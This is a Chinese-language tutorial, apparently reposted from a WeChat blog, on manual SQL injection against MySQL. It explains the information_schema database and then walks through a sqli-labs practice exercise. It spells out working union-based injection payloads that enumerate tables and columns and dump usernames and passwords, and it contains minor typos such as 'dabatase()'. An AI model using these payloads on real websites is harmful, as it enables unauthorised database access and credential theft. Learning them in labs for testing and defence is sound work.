mysql 手注入之information_schema数据库详解
2019-12-07 10:44:36 Author: mp.weixin.qq.com(查看原文) 阅读量:55 收藏

一、作为一个半道出家的萌新,深知在web安全这条路上的艰辛,中间的曲折估计只有自己知道,这里对之前个人的理解做一个简单的总结,希望能对您有帮助,大佬们勿喷,谢谢!


二、MySQL数据库简介

知己知彼,百战不殆,要想玩好SQL注入必须了解数据库的结构,这里针对MySQL的结构简单做个总结。

1、库(database):MySQL数据库可以创建多个数据库,如果把MySQL数据库比作我们中国,那么每个图书馆都可以理解为一个库,比如山大图书馆就是一个数据库,那么山大图书馆就是这个库的库名,如下图;   

图书馆:

而在数据库中它是这样的:


2、表(table):表可以理解为存在于库中的二级目录,接上例子:类似于图书馆里的的书架,一个书架就是一个表,书架上贴的分类标签就是表名。

书架:


而在数据库中是这样的:

 

3、列(column):列是存在于表中的目录,一个表中存在一个或多个列,继续接上例子,假设表是书架,那么列可以理解为书架中的格子,格子上又贴着细分的标签,那么标签就是列名。

书架上的标签:

在数据库中他是这样的:


4、值/字段内容(value):值是存在于列中的数据,还是上面的例子,那么值就好理解了,那就是书了,这里不再配图。
为了更直观这里用PHPstudy里的数据库web管理页面展示,它在数据库中是下图这样的:

5、information_schema库介绍

information_schema数据库是Mysql下的一个存放其他数据库所有内容的信息数据库,它有多个表,通常所有的查询都要经过这个库查询,这里只对个别相关的表做介绍。


Schema表:
schema表有五个列,其中schema_name是用来存放数据库库名的列。


tables表:
tables表用来存储所有数据库里的表名等信息,其中table_schema列用来存放所有数据库的库名,table_name用来存放MySQL数据库中的所有表名。

 
columns表:
columns表用来存放数据库里的所有字段信息其中table_schema列用来存放数据库库名,table_name列用来存放所有数据库里的所有表名,column_name列用来存放所有的字段/内容(值)。

三、手工注入简介

了解了数据库结构了,下面这里进行以下简单的复现,这里使用的环境是phpstudy+sqli-lab

1.单引号报错

2.and 1=1 判断,返回正常

3.and 1=2 ,返回错误

4.判断出注入时,首先利用order by子句(默认升序)结合折中法,爆出当前列数,猜到4时报错,猜到3时正常,说明列数为3。

5.爆出的长度为3,参数值想办法让其报错(可以加负号等),然后进行联合查询?id=-1 union select 1,2,3  爆出位置2和3。

6.爆出2,3的位置后,尝试用内置函数读取库名等信息,这里补充下常见的内置函数。

version()--mysql版本
user()--数据库用户
database()--数据库名
@datadir--数据库路径
@@versioncompileos--操作系统
继续接上,这里用在2,3的位置上查询user和库名,?id=-1 union select 

1,user(),dabatase() ,爆出了账户、登陆方式和数据库名。
 

7.接下来爆表名,这就用到了上面的information_schema这个库,在2或者3的位置构造查询语句,细分四个部分:

(1)用点连接库下存放表名的tables表
(2)然后用where来精确查询存放在table_schema中的库名
(3)用limit函数来进行遍历
(4)用-- 注释防止报错

最终payload为:union select 1,2,table_name from information_schema.tables where table_schema=’security’ limit 1,1 --+

8.爆出表名后,接下来爆想要的列名,思路如上,遍历出想要的字段,username和password。

最终payload为:union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 1,1 --+

修改limit函数遍历第二个想要的列名 union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 2,1 --+

9.最后进行常规联合查询即可 payload: union select 1,username,password from users limit 1,1 --+

Ps:不一定需要limit() 还有许多函数,其他自行百度,如有错误请指教,谢谢。

你可能喜欢

SQL注入access数据库【一】

[干货]手工注入mssqlserver从基础到高级操作

利用宽字节特性注入 Mysql


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650458435&idx=3&sn=49da245c3c29ec075c73dc0c1eb12f0e&chksm=83bbaca7b4cc25b15a0a1360cc2ef5d0e8936140501a3657aacc45dbef4f904ecbc0aa7848ec#rd
如有侵权请联系:admin#unsafe.sh